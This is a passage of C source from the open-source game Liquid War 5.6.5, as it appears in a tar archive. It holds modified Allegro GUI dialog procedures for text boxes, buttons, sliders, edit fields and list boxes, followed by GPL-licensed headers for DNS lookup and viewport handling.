y + h - 1, deselect); /* tell how many lines we found */ *listsize = line; return; } } } /* d_textbox_proc: * A text box object. The dp field points to a char * which is the text * to be displayed in the text box. If the text is long, there will be * a vertical scrollbar on the right hand side of the object which can * be used to scroll through the text. The default is to print the text * with word wrapping, but if the D_SELECTED flag is set, the text will * be printed with character wrapping. The d1 field is used internally * to store the number of lines of text, and d2 is used to store how far * it has scrolled through the text. */ int my_textbox_proc (int msg, DIALOG * d, int c) { int height, bar, ret = D_O_K; int start, top, bottom, l; int used, delta; int fg_color; ASSERT (d); fg_color = (d->flags & D_DISABLED) ? gui_mg_color : d->fg; /* calculate the actual height */ height = (d->h - 8) / text_height (font); switch (msg) { case MSG_START: /* measure how many lines of text we contain */ my_draw_textbox (d->dp, &d->d1, 0, /* DONT DRAW anything */ d->d2, !(d->flags & D_SELECTED), 8, d->x, d->y, d->w, d->h, (d->flags & D_DISABLED), 0, 0, 0); break; case MSG_DRAW: /* tell the object to sort of draw, but only calculate the listsize */ my_draw_textbox (d->dp, &d->d1, 0, /* DONT DRAW anything */ d->d2, !(d->flags & D_SELECTED), 8, d->x, d->y, d->w, d->h, (d->flags & D_DISABLED), 0, 0, 0); if (d->d1 > height && d->d1 > 1) // ufoot { bar = 12; } else { bar = 0; d->d2 = 0; } if (d->d1 <= 1) { rectfill (screen, d->x, d->y, d->x + d->w, d->y + d->h, d->bg); // ufoot } /* now do the actual drawing */ my_draw_textbox (d->dp, &d->d1, 1, d->d2, !(d->flags & D_SELECTED), 8, d->x, d->y, d->w - bar, d->h, (d->flags & D_DISABLED), fg_color, d->bg, gui_mg_color); if (d->d1 <= 1) { /* * If there's only one line, skip the scroll bar. Patched * for LW by ufoot, to handle 320x240 in a nicer way. */ rect (screen, d->x, d->y, d->x + d->w, d->y + d->h, fg_color); // ufoot } else { /* draw the frame around */ _draw_scrollable_frame (d, d->d1, d->d2, height, fg_color, d->bg); } break; case MSG_CLICK: /* figure out if it's on the text or the scrollbar */ bar = (d->d1 > height); if ((!bar) || (gui_mouse_x () < d->x + d->w - 13)) { /* clicked on the text area */ ret = D_O_K; } else { /* clicked on the scroll area */ my_handle_scrollable_scroll_click (d, d->d1, &d->d2, height); } break; case MSG_CHAR: start = d->d2; used = D_USED_CHAR; if (d->d1 > 0) { if (d->d2 > 0) top = d->d2 + 1; else top = 0; l = (d->h - 8) / text_height (font); bottom = d->d2 + l - 1; if (bottom >= d->d1 - 1) bottom = d->d1 - 1; else bottom--; if ((c >> 8) == KEY_UP) d->d2--; else if ((c >> 8) == KEY_DOWN) d->d2++; else if ((c >> 8) == KEY_HOME) d->d2 = 0; else if ((c >> 8) == KEY_END) d->d2 = d->d1 - l; else if ((c >> 8) == KEY_PGUP) d->d2 -= (bottom - top) ? bottom - top : 1; else if ((c >> 8) == KEY_PGDN) d->d2 += (bottom - top) ? bottom - top : 1; else used = D_O_K; /* make sure that the list stays in bounds */ if (d->d2 > d->d1 - l) d->d2 = d->d1 - l; if (d->d2 < 0) d->d2 = 0; } else used = D_O_K; /* if we changed something, better redraw... */ if (d->d2 != start) d->flags |= D_DIRTY; ret = used; break; case MSG_WHEEL: l = (d->h - 8) / text_height (font); delta = (l > 3) ? 3 : 1; /* scroll, making sure that the list stays in bounds */ start = d->d2; d->d2 = (c > 0) ? MAX (0, d->d2 - delta) : MIN (d->d1 - l, d->d2 + delta); /* if we changed something, better redraw... */ if (d->d2 != start) d->flags |= D_DIRTY; ret = D_O_K; break; case MSG_WANTFOCUS: /* if we don't have a scrollbar we can't do anything with the focus */ if (d->d1 > height) ret = D_WANTFOCUS; break; default: ret = D_O_K; } return ret; } /* d_button_proc: * A button object (the dp field points to the text string). This object * can be selected by clicking on it with the mouse or by pressing its * keyboard shortcut. If the D_EXIT flag is set, selecting it will close * the dialog, otherwise it will toggle on and off. */ int my_button_proc (int msg, DIALOG * d, int c) { BITMAP *gui_bmp; int state1, state2; int black; int swap; int g; ASSERT (d); LW_MACRO_NOP (c); // ufoot gui_bmp = gui_get_screen (); switch (msg) { case MSG_DRAW: if (d->flags & D_SELECTED) { g = 1; state1 = d->bg; state2 = (d->flags & D_DISABLED) ? gui_mg_color : d->fg; } else { g = 0; state1 = (d->flags & D_DISABLED) ? gui_mg_color : d->fg; state2 = d->bg; } rectfill (gui_bmp, d->x + 1 + g, d->y + 1 + g, d->x + d->w - 3 + g, d->y + d->h - 3 + g, state2); rect (gui_bmp, d->x + g, d->y + g, d->x + d->w - 2 + g, d->y + d->h - 2 + g, state1); //gui_textout_ex(gui_bmp, d->dp, d->x+d->w/2+g, d->y+d->h/2-text_height(font)/2+g, state1, -1, TRUE); gui_textout_ex (gui_bmp, d->dp, d->x + d->w / 2 + g, d->y + d->h / 2 - text_height (font) / 2 + g, -1, -1, TRUE); // ufoot if (d->flags & D_SELECTED) { vline (gui_bmp, d->x, d->y, d->y + d->h - 2, d->bg); hline (gui_bmp, d->x, d->y, d->x + d->w - 2, d->bg); } else { black = makecol (0, 0, 0); vline (gui_bmp, d->x + d->w - 1, d->y + 1, d->y + d->h - 2, black); hline (gui_bmp, d->x + 1, d->y + d->h - 1, d->x + d->w - 1, black); } if ((d->flags & D_GOTFOCUS) && (!(d->flags & D_SELECTED) || !(d->flags & D_EXIT))) my_dotted_rect (d->x + 1 + g, d->y + 1 + g, d->x + d->w - 3 + g, d->y + d->h - 3 + g, state1, state2); break; case MSG_WANTFOCUS: return D_WANTFOCUS; case MSG_KEY: /* close dialog? */ if (d->flags & D_EXIT) { return D_CLOSE; } /* or just toggle */ d->flags ^= D_SELECTED; object_message (d, MSG_DRAW, 0); break; case MSG_CLICK: /* what state was the button originally in? */ state1 = d->flags & D_SELECTED; if (d->flags & D_EXIT) swap = FALSE; else swap = state1; /* track the mouse until it is released */ while (gui_mouse_b ()) { state2 = ((gui_mouse_x () >= d->x) && (gui_mouse_y () >= d->y) && (gui_mouse_x () < d->x + d->w) && (gui_mouse_y () < d->y + d->h)); if (swap) state2 = !state2; /* redraw? */ if (((state1) && (!state2)) || ((state2) && (!state1))) { d->flags ^= D_SELECTED; state1 = d->flags & D_SELECTED; object_message (d, MSG_DRAW, 0); } /* let other objects continue to animate */ broadcast_dialog_message (MSG_IDLE, 0); } /* should we close the dialog? */ if ((d->flags & D_SELECTED) && (d->flags & D_EXIT)) { d->flags ^= D_SELECTED; return D_CLOSE; } break; } return D_O_K; } /* d_text_proc: * Simple dialog procedure: draws the text string which is pointed to by dp. */ int my_text_proc (int msg, DIALOG * d, int c) { LW_MACRO_NOP (c); // ufoot ASSERT (d); if (msg == MSG_DRAW) { //int fg = (d->flags & D_DISABLED) ? gui_mg_color : d->fg; // ufoot FONT *oldfont = font; if (d->dp2) font = d->dp2; //gui_textout_ex(gui_get_screen(), d->dp, d->x, d->y, fg, d->bg, FALSE); gui_textout_ex (gui_get_screen (), d->dp, d->x, d->y, -1, d->bg, FALSE); // ufoot font = oldfont; } return D_O_K; } /* d_ctext_proc: * Simple dialog procedure: draws the text string which is pointed to by dp, * centering it around the object's x coordinate. */ int my_ctext_proc (int msg, DIALOG * d, int c) { LW_MACRO_NOP (c); // ufoot ASSERT (d); if (msg == MSG_DRAW) { // int fg = (d->flags & D_DISABLED) ? gui_mg_color : d->fg; // ufoot FONT *oldfont = font; if (d->dp2) font = d->dp2; //gui_textout_ex(gui_get_screen(), d->dp, d->x + d->w/2, d->y, fg, d->bg, TRUE); gui_textout_ex (gui_get_screen (), d->dp, d->x + d->w / 2, d->y, -1, d->bg, TRUE); // ufoot font = oldfont; } return D_O_K; } /* d_slider_proc: * A slider control object. This object returns a value in d2, in the * range from 0 to d1. It will display as a vertical slider if h is * greater than or equal to w; otherwise, it will display as a horizontal * slider. dp can contain an optional bitmap to use for the slider handle; * dp2 can contain an optional callback function, which is called each * time d2 changes. The callback function should have the following * prototype: * * int function(void *dp3, int d2); * * The d_slider_proc object will return the value of the callback function. */ int my_slider_proc (int msg, DIALOG * d, int c) { BITMAP *gui_bmp = gui_get_screen (); BITMAP *slhan = NULL; int oldpos, newpos; int sfg; /* slider foreground color */ int vert = TRUE; /* flag: is slider vertical? */ int hh = 7; /* handle height (width for horizontal sliders) */ int hmar; /* handle margin */ int slp; /* slider position */ int mp; /* mouse position */ int irange; int slx, sly, slh, slw; int msx, msy; int retval = D_O_K; int upkey, downkey; int pgupkey, pgdnkey; int homekey, endkey; int delta; fixed slratio, slmax, slpos; int (*proc) (void *cbpointer, int d2value); int oldval; ASSERT (d); /* check for slider direction */ if (d->h < d->w) vert = FALSE; /* set up the metrics for the control */ if (d->dp != NULL) { slhan = (BITMAP *) d->dp; if (vert) hh = slhan->h; else hh = slhan->w; } hmar = hh / 2; irange = (vert) ? d->h : d->w; slmax = itofix (irange - hh); slratio = slmax / (d->d1); slpos = slratio * d->d2; slp = fixtoi (slpos); switch (msg) { case MSG_DRAW: sfg = (d->flags & D_DISABLED) ? gui_mg_color : d->fg; if (vert) { rectfill (gui_bmp, d->x, d->y, d->x + d->w / 2 - 2, d->y + d->h - 1, d->bg); rectfill (gui_bmp, d->x + d->w / 2 - 1, d->y, d->x + d->w / 2 + 1, d->y + d->h - 1, sfg); rectfill (gui_bmp, d->x + d->w / 2 + 2, d->y, d->x + d->w - 1, d->y + d->h - 1, d->bg); } else { rectfill (gui_bmp, d->x, d->y, d->x + d->w - 1, d->y + d->h / 2 - 2, d->bg); rectfill (gui_bmp, d->x, d->y + d->h / 2 - 1, d->x + d->w - 1, d->y + d->h / 2 + 1, sfg); rectfill (gui_bmp, d->x, d->y + d->h / 2 + 2, d->x + d->w - 1, d->y + d->h - 1, d->bg); } /* * Following line added to draw a box arround the slider */ rect (screen, d->x, d->y, d->x + d->w, d->y + d->h, sfg); // ufoot /* okay, background and slot are drawn, now draw the handle */ if (slhan) { if (vert) { slx = d->x + (d->w / 2) - (slhan->w / 2); sly = d->y + (d->h - 1) - (hh + slp); } else { slx = d->x + slp; sly = d->y + (d->h / 2) - (slhan->h / 2); } draw_sprite (gui_bmp, slhan, slx, sly); } else { /* draw default handle */ if (vert) { slx = d->x; sly = d->y + (d->h) - (hh + slp); slw = d->w - 1; slh = hh - 1; } else { slx = d->x + slp; sly = d->y; slw = hh - 1; slh = d->h - 1; } /* draw body */ rectfill (gui_bmp, slx + 2, sly, slx + (slw - 2), sly + slh, sfg); vline (gui_bmp, slx + 1, sly + 1, sly + slh - 1, sfg); vline (gui_bmp, slx + slw - 1, sly + 1, sly + slh - 1, sfg); vline (gui_bmp, slx, sly + 2, sly + slh - 2, sfg); vline (gui_bmp, slx + slw, sly + 2, sly + slh - 2, sfg); vline (gui_bmp, slx + 1, sly + 2, sly + slh - 2, d->bg); hline (gui_bmp, slx + 2, sly + 1, slx + slw - 2, d->bg); putpixel (gui_bmp, slx + 2, sly + 2, d->bg); } if (d->flags & D_GOTFOCUS) // my_dotted_rect(d->x, d->y, d->x+d->w-1, d->y+d->h-1, sfg, d->bg); my_dotted_rect (d->x + 1, d->y + 1, d->x + d->w - 1, d->y + d->h - 1, sfg, d->bg); // ufoot break; case MSG_WANTFOCUS: case MSG_LOSTFOCUS: return D_WANTFOCUS; case MSG_KEY: if (!(d->flags & D_GOTFOCUS)) return D_WANTFOCUS; else return D_O_K; case MSG_CHAR: /* handle movement keys to move slider */ c >>= 8; if (vert) { upkey = KEY_UP; downkey = KEY_DOWN; pgupkey = KEY_PGUP; pgdnkey = KEY_PGDN; homekey = KEY_END; endkey = KEY_HOME; } else { upkey = KEY_RIGHT; downkey = KEY_LEFT; pgupkey = KEY_PGDN; pgdnkey = KEY_PGUP; homekey = KEY_HOME; endkey = KEY_END; } if (c == upkey) delta = 1; else if (c == downkey) delta = -1; else if (c == pgdnkey) delta = -d->d1 / 16; else if (c == pgupkey) delta = d->d1 / 16; else if (c == homekey) delta = -d->d2; else if (c == endkey) delta = d->d1 - d->d2; else delta = 0; if (delta) { oldpos = slp; oldval = d->d2; while (1) { d->d2 = d->d2 + delta; slpos = slratio * d->d2; slp = fixtoi (slpos); if ((slp != oldpos) || (d->d2 <= 0) || (d->d2 >= d->d1)) break; } if (d->d2 < 0) d->d2 = 0; if (d->d2 > d->d1) d->d2 = d->d1; retval = D_USED_CHAR; if (d->d2 != oldval) { /* call callback function here */ if (d->dp2) { proc = d->dp2; retval |= (*proc) (d->dp3, d->d2); } object_message (d, MSG_DRAW, 0); } } break; case MSG_WHEEL: oldval = d->d2; d->d2 = MID (0, d->d2 + c, d->d1); if (d->d2 != oldval) { /* call callback function here */ if (d->dp2) { proc = d->dp2; retval |= (*proc) (d->dp3, d->d2); } object_message (d, MSG_DRAW, 0); } break; case MSG_CLICK: /* track the mouse until it is released */ mp = slp; while (gui_mouse_b ()) { msx = gui_mouse_x (); msy = gui_mouse_y (); oldval = d->d2; if (vert) mp = (d->y + d->h - hmar) - msy; else mp = msx - (d->x + hmar); if (mp < 0) mp = 0; if (mp > irange - hh) mp = irange - hh; slpos = itofix (mp); slmax = fixdiv (slpos, slratio); newpos = fixtoi (slmax); if (newpos != oldval) { d->d2 = newpos; /* call callback function here */ if (d->dp2 != NULL) { proc = d->dp2; retval |= (*proc) (d->dp3, d->d2); } object_message (d, MSG_DRAW, 0); } /* let other objects continue to animate */ broadcast_dialog_message (MSG_IDLE, 0); } break; } return retval; } /* d_edit_proc: * An editable text object (the dp field points to the string). When it * has the input focus (obtained by clicking on it with the mouse), text * can be typed into this object. The d1 field specifies the maximum * number of characters that it will accept, and d2 is the text cursor * position within the string. */ int my_edit_proc (int msg, DIALOG * d, int c) { static int ignore_next_uchar = FALSE; BITMAP *gui_bmp; int last_was_space, new_pos, i, k; int f, l, p, w, x, b, scroll; int fg; char buf[16]; char *s, *t; ASSERT (d); gui_bmp = gui_get_screen (); s = d->dp; l = ustrlen (s); if (d->d2 > l) d->d2 = l; /* calculate maximal number of displayable characters */ if (d->d2 == l) { usetc (buf + usetc (buf, ' '), 0); x = text_length (font, buf); } else x = 0; b = 0; for (p = d->d2; p >= 0; p--) { usetc (buf + usetc (buf, ugetat (s, p)), 0); x += text_length (font, buf); b++; if (x > d->w) break; } if (x <= d->w) { b = l; scroll = FALSE; } else { b--; scroll = TRUE; } switch (msg) { case MSG_START: d->d2 = l; break; case MSG_DRAW: fg = (d->flags & D_DISABLED) ? gui_mg_color : d->fg; x = 0; if (scroll) { p = d->d2 - b + 1; b = d->d2; } else p = 0; for (; p <= b; p++) { f = ugetat (s, p); usetc (buf + usetc (buf, (f) ? f : ' '), 0); w = text_length (font, buf); if (x + w > d->w) break; f = ((p == d->d2) && (d->flags & D_GOTFOCUS)); //textout_ex(gui_bmp, font, buf, d->x+x, d->y, (f) ? d->bg : fg, (f) ? fg : d->bg); textout_ex (gui_bmp, font, buf, d->x + x, d->y, -1, (f) ? d->fg : d->bg); // ufoot x += w; } if (x < d->w) rectfill (gui_bmp, d->x + x, d->y, d->x + d->w - 1, d->y + text_height (font) - 1, d->bg); break; case MSG_CLICK: x = d->x; if (scroll) { p = d->d2 - b + 1; b = d->d2; } else p = 0; for (; p < b; p++) { usetc (buf + usetc (buf, ugetat (s, p)), 0); x += text_length (font, buf); if (x > gui_mouse_x ()) break; } d->d2 = MID (0, p, l); object_message (d, MSG_DRAW, 0); break; case MSG_WANTFOCUS: case MSG_LOSTFOCUS: case MSG_KEY: return D_WANTFOCUS; case MSG_CHAR: ignore_next_uchar = FALSE; if ((c >> 8) == KEY_LEFT) { if (d->d2 > 0) { if (key_shifts & KB_CTRL_FLAG) { last_was_space = TRUE; new_pos = 0; t = s; for (i = 0; i < d->d2; i++) { k = ugetx (&t); if (uisspace (k)) last_was_space = TRUE; else if (last_was_space) { last_was_space = FALSE; new_pos = i; } } d->d2 = new_pos; } else d->d2--; } } else if ((c >> 8) == KEY_RIGHT) { if (d->d2 < l) { if (key_shifts & KB_CTRL_FLAG) { t = s + uoffset (s, d->d2); for (k = ugetx (&t); uisspace (k); k = ugetx (&t)) d->d2++; for (; k && !uisspace (k); k = ugetx (&t)) d->d2++; } else d->d2++; } } else if ((c >> 8) == KEY_HOME) { d->d2 = 0; } else if ((c >> 8) == KEY_END) { d->d2 = l; } else if ((c >> 8) == KEY_DEL) { if (d->d2 < l) uremove (s, d->d2); } else if ((c >> 8) == KEY_BACKSPACE) { if (d->d2 > 0) { d->d2--; uremove (s, d->d2); } } else if ((c >> 8) == KEY_ENTER) { if (d->flags & D_EXIT) { object_message (d, MSG_DRAW, 0); return D_CLOSE; } else return D_O_K; } else if ((c >> 8) == KEY_TAB) { ignore_next_uchar = TRUE; return D_O_K; } else { /* don't process regular keys here: MSG_UCHAR will do that */ break; } object_message (d, MSG_DRAW, 0); return D_USED_CHAR; case MSG_UCHAR: // if ((c >= ' ') && (uisok (c)) && (!ignore_next_uchar)) if ((c >= ' ') && (c < 128) && (uisok (c)) && (!ignore_next_uchar)) // ufoot { if (l < d->d1) { uinsert (s, d->d2, c); d->d2++; object_message (d, MSG_DRAW, 0); } return D_USED_CHAR; } break; } if (fg) { /* * Not elegant, but test above here just to get * rid of compiler warning about fg not being used. */ } return D_O_K; } /* _handle_scrollable_click: * Helper to process a click on a scrollable object. */ static void my_handle_scrollable_scroll_click (DIALOG * d, int listsize, int *offset, int height) { int xx, yy; int hh = d->h - 5; while (gui_mouse_b ()) { int i = (hh * height + listsize / 2) / listsize; int len = (hh * (*offset) + listsize / 2) / listsize + 2; if ((gui_mouse_y () >= d->y + len) && (gui_mouse_y () <= d->y + len + i)) { xx = gui_mouse_y () - len + 2; while (gui_mouse_b ()) { yy = (listsize * (gui_mouse_y () - xx) + hh / 2) / hh; if (yy > listsize - height) yy = listsize - height; if (yy < 0) yy = 0; if (yy != *offset) { *offset = yy; object_message (d, MSG_DRAW, 0); } /* let other objects continue to animate */ broadcast_dialog_message (MSG_IDLE, 0); } } else { if (gui_mouse_y () <= d->y + len) yy = *offset - height; else yy = *offset + height; if (yy > listsize - height) yy = listsize - height; if (yy < 0) yy = 0; if (yy != *offset) { *offset = yy; object_message (d, MSG_DRAW, 0); } } /* let other objects continue to animate */ broadcast_dialog_message (MSG_IDLE, 0); } } /* _handle_scrollable_scroll: * Helper function to scroll through a scrollable object. */ static void my_handle_scrollable_scroll (DIALOG * d, int listsize, int *index, int *offset) { int height = (d->h - 4) / text_height (font); if (listsize <= 0) { *index = *offset = 0; return; } /* check selected item */ if (*index < 0) *index = 0; else if (*index >= listsize) *index = listsize - 1; /* check scroll position */ while ((*offset > 0) && (*offset + height > listsize)) (*offset)--; if (*offset >= *index) { if (*index < 0) *offset = 0; else *offset = *index; } else { while ((*offset + height - 1) < *index) (*offset)++; } } /* idle_cb: * rest_callback() routine to keep dialogs animating nice and smoothly. */ static void my_idle_cb (void) { broadcast_dialog_message (MSG_IDLE, 0); } /* _handle_listbox_click: * Helper to process a click on a listbox, doing hit-testing and moving * the selection. */ static void my_handle_listbox_click (DIALOG * d) { char *sel = d->dp2; int listsize, height; int i, j; (*(my_getfuncptr) d->dp) (-1, &listsize); if (!listsize) return; height = (d->h - 4) / text_height (font); i = MID (0, ((gui_mouse_y () - d->y - 2) / text_height (font)), ((d->h - 4) / text_height (font) - 1)); i += d->d2; if (i < d->d2) i = d->d2; else { if (i > d->d2 + height - 1) i = d->d2 + height - 1; if (i >= listsize) i = listsize - 1; } if (gui_mouse_y () <= d->y) i = MAX (i - 1, 0); else if (gui_mouse_y () >= d->y + d->h - 1) i = MIN (i + 1, listsize - 1); if (i != d->d1) { if (sel) { if (key_shifts & (KB_SHIFT_FLAG | KB_CTRL_FLAG)) { if ((key_shifts & KB_SHIFT_FLAG) || (d->flags & D_INTERNAL)) { for (j = MIN (i, d->d1); j <= MAX (i, d->d1); j++) sel[j] = TRUE; } else sel[i] = !sel[i]; } else sel[i] = TRUE; } d->d1 = i; i = d->d2; my_handle_scrollable_scroll (d, listsize, &d->d1, &d->d2); d->flags |= D_DIRTY; if (i != d->d2) rest_callback (MID (10, text_height (font) * 16 - d->h - 1, 100), my_idle_cb); } else { if (!(d->flags & D_INTERNAL)) { if (sel) { if ((key_shifts & KB_CTRL_FLAG)) sel[i] = !sel[i]; else sel[i] = TRUE; d->flags |= D_DIRTY; } } } } /* draw_listbox: * Helper function to draw a listbox object. */ static void my_draw_listbox (DIALOG * d) { BITMAP *gui_bmp = gui_get_screen (); int height, listsize, i, len, bar, x, y, w; int fg_color, bg; int fg; char *sel = d->dp2; char s[1024]; (*(my_getfuncptr) d->dp) (-1, &listsize); height = (d->h - 4) / text_height (font); bar = (listsize > height); w = (bar ? d->w - 15 : d->w - 3); fg_color = (d->flags & D_DISABLED) ? gui_mg_color : d->fg; /* draw box contents */ for (i = 0; i < height; i++) { if (d->d2 + i < listsize) { if (sel) { if ((sel[d->d2 + i]) && (d->d2 + i == d->d1)) { fg = d->bg; bg = fg_color; } else if (sel[d->d2 + i]) { fg = d->bg; bg = gui_mg_color; } else { fg = fg_color; bg = d->bg; } } else if (d->d2 + i == d->d1) { fg = d->bg; bg = fg_color; } else { fg = fg_color; bg = d->bg; } ustrzcpy (s, sizeof (s), (*(my_getfuncptr) d->dp) (i + d->d2, NULL)); x = d->x + 2; y = d->y + 2 + i * text_height (font); rectfill (gui_bmp, x, y, x + 7, y + text_height (font) - 1, bg); x += 8; len = ustrlen (s); while (text_length (font, s) >= MAX (d->w - 1 - (bar ? 22 : 10), 1)) { len--; usetat (s, len, 0); } //textout_ex(gui_bmp, font, s, x, y, fg, bg); textout_ex (gui_bmp, font, s, x, y, -1, bg); // ufoot x += text_length (font, s); if (x <= d->x + w) rectfill (gui_bmp, x, y, d->x + w, y + text_height (font) - 1, bg); if (d->d2 + i == d->d1) my_dotted_rect (d->x + 1, y, d->x + d->w - (bar ? 12 : 0), y + text_height (font) - 1, d->fg, d->bg); } else { rectfill (gui_bmp, d->x + 2, d->y + 2 + i * text_height (font), d->x + w, d->y + 1 + (i + 1) * text_height (font), d->bg); } } if (d->y + 2 + i * text_height (font) <= d->y + d->h - 3) rectfill (gui_bmp, d->x + 2, d->y + 2 + i * text_height (font), d->x + w, d->y + d->h - 3, d->bg); /* draw frame, maybe with scrollbar */ _draw_scrollable_frame (d, listsize, d->d2, height, fg_color, d->bg); if (fg) { /* * Not elegant, but test above here just to get * rid of compiler warning about fg not being used. */ } } /* d_list_proc: * A list box object. The dp field points to a function which it will call * to obtain information about the list. This should follow the form: * const char * (int index, int *list_size); * If index is zero or positive, the function should return a pointer to * the string which is to be displayed at position index in the list. If * index is negative, it should return null and list_size should be set * to the number of items in the list. The list box object will allow the * user to scroll through the list and to select items list by clicking * on them, and if it has the input focus also by using the arrow keys. If * the D_EXIT flag is set, double clicking on a list item will cause it to * close the dialog. The index of the selected item is held in the d1 * field, and d2 is used to store how far it has scrolled through the list. */ int my_list_proc (int msg, DIALOG * d, int c) { int listsize, i, bottom, height, bar, orig; char *sel = d->dp2; int redraw = FALSE; ASSERT (d); switch (msg) { case MSG_START: (*(my_getfuncptr) d->dp) (-1, &listsize); my_handle_scrollable_scroll (d, listsize, &d->d1, &d->d2); break; case MSG_DRAW: my_draw_listbox (d); break; case MSG_CLICK: (*(my_getfuncptr) d->dp) (-1, &listsize); height = (d->h - 4) / text_height (font); bar = (listsize > height); if ((!bar) || (gui_mouse_x () < d->x + d->w - 13)) { if ((sel) && (!(key_shifts & KB_CTRL_FLAG))) { for (i = 0; i < listsize; i++) { if (sel[i]) { redraw = TRUE; sel[i] = FALSE; } } if (redraw) object_message (d, MSG_DRAW, 0); } my_handle_listbox_click (d); while (gui_mouse_b ()) { broadcast_dialog_message (MSG_IDLE, 0); d->flags |= D_INTERNAL; my_handle_listbox_click (d); d->flags &= ~D_INTERNAL; } } else { my_handle_scrollable_scroll_click (d, listsize, &d->d2, height); } break; case MSG_DCLICK: (*(my_getfuncptr) d->dp) (-1, &listsize); height = (d->h - 4) / text_height (font); bar = (listsize > height); if ((!bar) || (gui_mouse_x () < d->x + d->w - 13)) { if (d->flags & D_EXIT) { if (listsize) { i = d->d1; object_message (d, MSG_CLICK, 0); if (i == d->d1) return D_CLOSE; } } } break; case MSG_WHEEL: (*(my_getfuncptr) d->dp) (-1, &listsize); height = (d->h - 4) / text_height (font); if (height < listsize) { int delta = (height > 3) ? 3 : 1; if (c > 0) i = MAX (0, d->d2 - delta); else i = MIN (listsize - height, d->d2 + delta); if (i != d->d2) { d->d2 = i; object_message (d, MSG_DRAW, 0); } } break; case MSG_KEY: (*(my_getfuncptr) d->dp) (-1, &listsize); if ((listsize) && (d->flags & D_EXIT)) return D_CLOSE; break; case MSG_WANTFOCUS: return D_WANTFOCUS; case MSG_CHAR: (*(my_getfuncptr) d->dp) (-1, &listsize); if (listsize) { c >>= 8; bottom = d->d2 + (d->h - 4) / text_height (font) - 1; if (bottom >= listsize - 1) bottom = listsize - 1; orig = d->d1; if (c == KEY_UP) d->d1--; else if (c == KEY_DOWN) d->d1++; else if (c == KEY_HOME) d->d1 = 0; else if (c == KEY_END) d->d1 = listsize - 1; else if (c == KEY_PGUP) { if (d->d1 > d->d2) d->d1 = d->d2; else d->d1 -= (bottom - d->d2) ? bottom - d->d2 : 1; } else if (c == KEY_PGDN) { if (d->d1 < bottom) d->d1 = bottom; else d->d1 += (bottom - d->d2) ? bottom - d->d2 : 1; } else return D_O_K; if (sel) { if (!(key_shifts & (KB_SHIFT_FLAG | KB_CTRL_FLAG))) { for (i = 0; i < listsize; i++) sel[i] = FALSE; } else if (key_shifts & KB_SHIFT_FLAG) { for (i = MIN (orig, d->d1); i <= MAX (orig, d->d1); i++) { if (key_shifts & KB_CTRL_FLAG) sel[i] = (i != d->d1); else sel[i] = TRUE; } } } /* if we changed something, better redraw... */ my_handle_scrollable_scroll (d, listsize, &d->d1, &d->d2); d->flags |= D_DIRTY; return D_USED_CHAR; } break; } return D_O_K; } /*------------------------------------------------------------------*/ BITMAP * my_create_bitmap (int w, int h) { BITMAP *bmp; bmp = create_bitmap (w, h); if (bmp == NULL) my_exit (EXIT_CODE_MEM_TROUBLE); return bmp; } liquidwar-5.6.5/src/dnsutil.h0000664000372000037200000001020313407756104015557 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : dnsutil.h */ /* content : low level functions to handle dns requests */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_DNSUTIL #define LIQUID_WAR_INCLUDE_DNSUTIL /*==================================================================*/ /* includes */ /*==================================================================*/ /*==================================================================*/ /* structs */ /*==================================================================*/ /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ int lw_dnsutil_name_to_ip (char *ip, char *name); #endif liquidwar-5.6.5/src/viewport.h0000664000372000037200000001066113407756104015764 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : viewport.h */ /* contenu : gestion de l'aire de jeu, du page flipping */ /* date de modif : 3 mai 98 */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_VIEWPORT #define LIQUID_WAR_INCLUDE_VIEWPORT /*==================================================================*/ /* includes */ /*==================================================================*/ #include /*==================================================================*/ /* variables globales */ /*==================================================================*/ #define MAX_W_DISPLAY 1024 #define MAX_H_DISPLAY 768 extern int PAGE_FLIP_H; extern int 